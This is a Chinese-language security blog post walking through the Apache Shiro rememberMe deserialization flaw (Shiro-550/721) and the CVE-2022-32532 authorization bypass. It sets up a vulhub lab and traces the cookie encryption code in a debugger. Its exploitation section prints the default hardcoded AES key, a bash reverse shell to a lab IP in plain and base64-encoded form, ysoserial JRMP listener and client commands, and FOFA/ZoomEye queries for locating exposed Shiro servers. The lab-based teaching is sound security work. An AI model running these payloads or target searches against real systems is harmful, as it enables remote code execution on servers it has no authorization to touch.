shiro反序列化漏洞

shiro反序列化

前言

shiro反序列化漏洞这个从 shiro 550 开始,在2016年就爆出来, 但是到现在 在各种攻防演练和面试中也起到了显著作用

这个漏洞一直都很好用,特别是一些红蓝对抗HW的下边界突破很好用

免责声明

本文章只作为技术分享学习,如有违法行为,后果自负

Shiro简介

Apache Shiro 是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能

影响版本

Apache Shiro < 1.2.4

漏洞概叙

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

shiro默认使用了CookieRememberMeManagershiro处理cookie流程是:

得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化

payload构造顺序则是反正来的

恶意命令-->序列化-->AES加密-->base64编码-->发送cookie

漏洞简单介绍利用

通过在cookie的rememberMe字段中插入恶意payload,

触发shiro框架的rememberMe的反序列化功能,导致任意代码执行。

shiro 1.2.24中,提供了硬编码的AES密钥:kPH+bIxk5D2deZiIxcaaaA==

由于开发人员未修改AES密钥而直接使用Shiro框架,导致了该问题

流量层面分析shiro反序列化漏洞是否攻击成功?

攻击失败

在HTTP请求头Cookie里出现rememberMe字段,响应体会有deleteMe。状态码405

攻击成功

在HTTP请求头Cookie里rememberMe字段,响应体不存在deleteMe。会存在一段base64加密的字段,解码后就是攻击者的回显内容。状态码为200

base解码内容

shiro550-shiro721区别

这俩个洞主要区别在于shiro550使用已知密钥碰撞,只要足够的密钥库,不需要Remember Cookie

shiro721的加密key基本猜不到,系统随机生成,可以使用登陆后的rememberMe去爆破正确的key值,即利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击

接下来开始实操重点讲一下shiro550的利用

环境搭建

kali换源

进入这个配置文件下,添加阿里源vim /etc/apt/sources.list

为什么要换源?换源是因为kali官方源都是国外的速度慢,而且失败概率高,更新速度就十几k 容易脑溢血。使用阿里、网易、科大的源下载速度飞快

换源后依次执行以下命令

apt-get update 更新索引

apt-get upgrade 更新软件

apt-get dist-upgrade 升级

apt-get clean 删除缓存包

apt-get autoclean 删除未安装的deb包

安装docker

apt-get install docker.io

安装docker-compose

apt-get install docker-compose

安装vulhub镜像

 git clone https://github.com/vulhub/vulhub.gi

启动环境

cd /opt/vulhub-master/shiro/CVE-2016-4437

docker-compose up 即可启动

Shiro-550反序列漏洞

shiro漏洞探测

使用shiro漏洞利用工具,爆破密钥--爆破利用链

成功之后命令执行

手工测试

GitHub下载ysoserial利用工具,下载完进行解压缩进入进入到这个目录下(下载jar包,不需要编译可以直接使用,节省很多时间)

cmd打开这个jar包

java -jar ysoserial.jar 使用成功证明可以正常使用

构造反弹shell

反弹shell命令并进行加密,网站:https://r0yanx.com/tools/java_exec_encode/

bash -i >& /dev/tcp/192.168.0.34/8888 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMzQvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}

将反弹shell替换成以下方法中

ysoserial工具使用

利用ysoserial中的JRMP监听模块,监听9999端口并且执行反弹shell命令

9999为监听JRMP模块(ysoserial内置模块)

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMzQvODg4OCAwPiYx}|{base64,-d}|{bash,-i}"

构造cookie内容生成payload

python shiro.py 192.168.0.34:9999 端口号为JRMP

shiro.py脚本内容如下 python文件得和JRMP在同一个文件下 第8行代码中必须找的到对应文件名

java', '-jar', 'ysoserial.jar', 'JRMPClient', command

报错解决

pip uninstall crypto pycryptodome (删除已有的pycryptodome)

pip install pycryptodome -i https://pypi.douban.com/simple (添加豆瓣源加速)

反弹shell

监听nc

nc- lvvp8888

登录抓取流量包,点勾选Remember me

不知道为什么nc没有反弹成功,但JRMP是有回显 成功利用

漏洞分析

我们在拿到这一 Cookie 的时候,很明显能够看到这是经过某种加密的。因为我们平常的 Cookie 都是比较短的,而 shiro RememberMe 字段的 Cookie 太长了

我们跟进去相关位置去看看Cookie的加密过程在IDEA里 全局搜索 Cookie

shiro加密过程分析

shiro加密流程图

shiro解密流程图

入口是在 AbstractRememberMeManager.onSuccessfulLogin 方法

这里我们正向分析一下,debug打个断点,然后web登录页面输入root/secret 口令进行提交,再回到IDEA中查看

这里会经一个 isRememberMe(token) 的判断 即判断cookie里是否存在rememberMe字段,True的话 调用rememberIdentity()方法

F7 步入 rememberIdentity() 方法,这里继续调用getIdentityToRemember(),作用就是获取用户名赋值给 principals

再回到 rememberIdentity() 方法,继续跟进this.rememberIdentity(subject, principals)

进入 convertPrincipalsToBytes() 方法,我们来看一下这个方法

它先对用户名进行序列化处理,然后调用this.getCipherService()方法是否有返回值,存在的话,就调用 encrypt() 方法进行加密

跟进 看一下序列化的代码:

再跟进看一下 encrypt() 方法

调用了 this.getCipherService()方法 返回了一种 AES 的加密方式CBC

所以encrypt应该用的是AES加密算法 AES 是一种对称加密算法,有密钥

再次跟进 getEncryptionCipherKey() 看一下AES加密的密钥是怎么生成的

一步步往上找

再找一下哪里定义的 encryptionCipherKey

再往上找哪里调用了 setEncryptionCipherKey()方法,找到了setCipherkey()方法

AES加解密用的密钥是一样的 最终从构造函数这里找到了设置密钥的地方

这里传入的静态变量DEFAULT_CIPHER_KEY_BYTES 是在类定义里面写好的常量

base64解密即可得到密钥

后续加密,会对序列化字节流和密钥常量传入 cipherService.encrypt 进行AES加密

返回加密的序列化字节流 到rememberIdentity()方法下一步调用rememberSerializedIdentity()方法:

进行base64加密之后,存储到Cookie里 就得到了我们的rememberMe字段

这就是我们前面勾选rememberme的话,rememberMe字段的由来

shiro解密过程

由于我们并不知道哪个方法里面去实现这么一个功能。但是我们前面分析加密的时候,调用了AbstractRememberMeManager.encrypt()进行加密,该类中也有对应的decrypt。那么在这里就可以用来查看该方法具体会在哪里被调用到,就可以追溯到上层去,然后进行下断点

追溯到 AbstractRememberMeManager.convertBytesToPrincipals()

再追溯一下哪里调用了 convertBytesToPrincipals()方法 追溯到了 AbstractRememberMeManager.getRememberedPrincipals

DefaultSecurityManager.getRememberedIdentity()开始分析

跟进 getRememberedPrincipals()方法

调用了 getRememberedSerializedIdentity() 方法

跟进重点看此方法

主要功能为:获取cookie中的rememberMe字段,判断值是否和DELETED_COOKIE_VALUE一致 即 deleteme不一致的话,则会再次判断是否是符合base64的编码长度,然后再对其进行base64解码,将解码结果返回赋值给bytes

然后回到getRememberedPrincipals()方法,bytes不为null,因此调用 convertBytesToPrincipals()方法

调用decrypt进行解密,然后返回 deserialize(bytes); decrypt函数即为之前AES加密逆过程、AES解密函数 不再继续详细跟进查看

跟进 deserialize()方法 这里会调用 getSerializer().deserialize() 对我们 base64解密-AES解密后的rememberMe的值进行反序列化

跟进此函数,看一下deserialize()函数的实现,调用的是DefaultSerializer.deserialize()

调用了readObject()函数,并且前面我们得知 加解密密钥一样,所以如果我们知道加密密钥,就可以找链子、构造rememberMe为恶意序列化对象,在此处进行反序列化利用

Apache Shiro 授权绕过漏洞(CVE-2022-32532)

Apache官方披露Apache Shiro权限绕过漏洞(CVE-2022-32532),当Apache Shiro中使用RegexRequestMatcher进行权限配置,且正则表达式中携带"."时,未经授权的远程攻击者可通过构造恶意数据包绕过身份认证,导致配置的权限验证失效。

影响版本

Apache Shiro < 1.9.1

漏洞原理

根据java正则表达式的特点,在正则表达式中元字符.是匹配除换行符之外的任何单个字符。

新增Pattern.DOTALL模式后,正则表达式.就可以匹配任何字符包括换行符。

在shiro-core-1.9.0.jar中存在一个RegExPatternMatcher类,提供请求路径匹配功能及拦截器参数解析的功能。这个类的Pattern存在带.的正则表达式匹配,如果存在/n或/r字符时,就会判断错误。

环境搭建

直接使用vulfocus

输入靶机地址访问

漏洞复现

使用%0进行权限绕过

添加token也可以绕过

最后推荐几个非常好用的工具

shiro综合利用工具

这个是图形化界面,对于新手很方便

scanshiro

可以用于批量扫码,爆破

 burp插件工具

shiro特征

shiro空间测绘特征

fofa:header="deleteMe"

钟馗之眼:header="deleteMe"

鹰图:header="deleteMe"

  • 28
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值